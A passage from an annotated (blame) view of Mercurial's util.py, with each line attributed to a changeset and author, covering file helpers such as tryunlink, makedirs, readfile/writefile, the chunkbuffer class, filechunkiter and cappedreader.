da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2514 removedirs(os.path.dirname(f))
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2515 except OSError:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2516 pass
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2517
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2518
31546 6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2519 def tryunlink(f):
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2520 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2521 try:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2522 unlink(f)
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2523 except OSError as e:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2524 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2525 raise
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2526
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2527
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2528 def makedirs(name, mode=None, notindexed=False):
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2529 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2530
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2531 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2532 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2533 for "write" mode access.
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2534 """
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2535 try:
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2536 makedir(name, notindexed)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2537 except OSError as err:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2538 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2539 return
15058 81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2540 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2541 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2542 parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2543 if parent == name:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2544 raise
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2545 makedirs(parent, mode, notindexed)
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2546 try:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2547 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2548 except OSError as err:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2549 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2550 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2551 return
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2552 raise
18678 423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2553 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2554 os.chmod(name, mode)
18668 4034b8d551b1 scmutil: create directories in a race-safe way during update Bryan O'Sullivan <bryano@fb.com> parents: 18614 diff changeset	2555
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2556
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2557 def readfile(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2558 with open(path, b'rb') as fp:
14100 3e9e02a41dfb util: really drop size from readfile Matt Mackall <mpm@selenic.com> parents: 14099 diff changeset	2559 return fp.read()
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2560
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2561
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2562 def writefile(path, text):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2563 with open(path, b'wb') as fp:
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2564 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2565
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2566
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2567 def appendfile(path, text):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2568 with open(path, b'ab') as fp:
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2569 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2570
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2571
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2572 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2573 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2574 iterator over chunks of arbitrary size."""
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2575
5446 fa836e050c50 chunkbuffer: removed unused method and arg Matt Mackall <mpm@selenic.com> parents: 5420 diff changeset	2576 def __init__(self, in_iter):
32176 5f53c267e362 util: remove doc of long gone 'targetsize' argument Martin von Zweigbergk <martinvonz@google.com> parents: 31952 diff changeset	2577 """in_iter is the iterator that's iterating over the input chunks."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2578
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2579 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2580 for chunk in chunks:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2581 if len(chunk) > 2 ** 20:
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2582 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2583 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2584 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2585 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2586 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2587 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2588 yield chunk
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2589
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2590 self.iter = splitbig(in_iter)
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	2591 self._queue = collections.deque()
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2592 self._chunkoffset = 0
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2593
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2594 def read(self, l=None):
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2595 """Read L bytes of data from the iterator of chunks of data.
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2596 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2597
23139 e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23097 diff changeset	2598 If size parameter is omitted, read everything"""
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2599 if l is None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2600 return b''.join(self.iter)
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2601
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2602 left = l
17962 4c29668ca316 util: make chunkbuffer non-quadratic on Windows Matt Mackall <mpm@selenic.com> parents: 17560 diff changeset	2603 buf = []
16873 37e081609828 util: simplify queue management in chunkbuffer Bryan O'Sullivan <bryano@fb.com> parents: 16834 diff changeset	2604 queue = self._queue
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2605 while left > 0:
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2606 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2607 if not queue:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2608 target = 2 ** 18
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2609 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2610 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2611 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2612 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2613 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2614 if not queue:
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2615 break
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2616
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2617 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2618 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2619 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2620 # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2621 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2622
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2623 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2624 chunkl = len(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2625 offset = self._chunkoffset
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2626
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2627 # Use full chunk.
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2628 if offset == 0 and left >= chunkl:
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2629 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2630 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2631 buf.append(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2632 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2633 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2634
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2635 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2636
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2637 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2638 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2639 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2640 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2641 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2642 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2643 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2644 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2645
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2646 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2647 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2648 buf.append(chunk[offset : offset + left])
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2649 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2650 left -= chunkremaining
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2651
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2652 return b''.join(buf)
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2653
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2654
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2655 def filechunkiter(f, size=131072, limit=None):
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2656 """Create a generator that produces the data in the file size
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2657 (default 131072) bytes at a time, up to optional limit (default is
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2658 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2659 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2660 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2661 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2662 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2663 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2664 while True:
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2665 if limit is None:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2666 nbytes = size
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2667 else:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2668 nbytes = min(limit, size)
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2669 s = nbytes and f.read(nbytes)
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2670 if not s:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2671 break
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2672 if limit:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2673 limit -= len(s)
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2674 yield s
1320 5f277e73778f Fix up representation of dates in hgweb. Bryan O'Sullivan <bos@serpentine.com> parents: 1312 diff changeset	2675
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2676
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2677 class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2678 """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2679
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2680 Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2681 N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2682 limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2683
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2684 It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2685 in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2686 state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2687 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2688
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2689 def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2690 """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2691 self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2692 self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2693
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2694 def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2695 if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2696 return b''
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2697
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2698 if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2699 n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2700
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2701 data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2702 self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2703 assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2704
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2705 return data
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2706
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2707 def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2708 res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2709 if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2710 return None
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2711
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2712 b[0 : len(res)] = res
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2713 return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2714
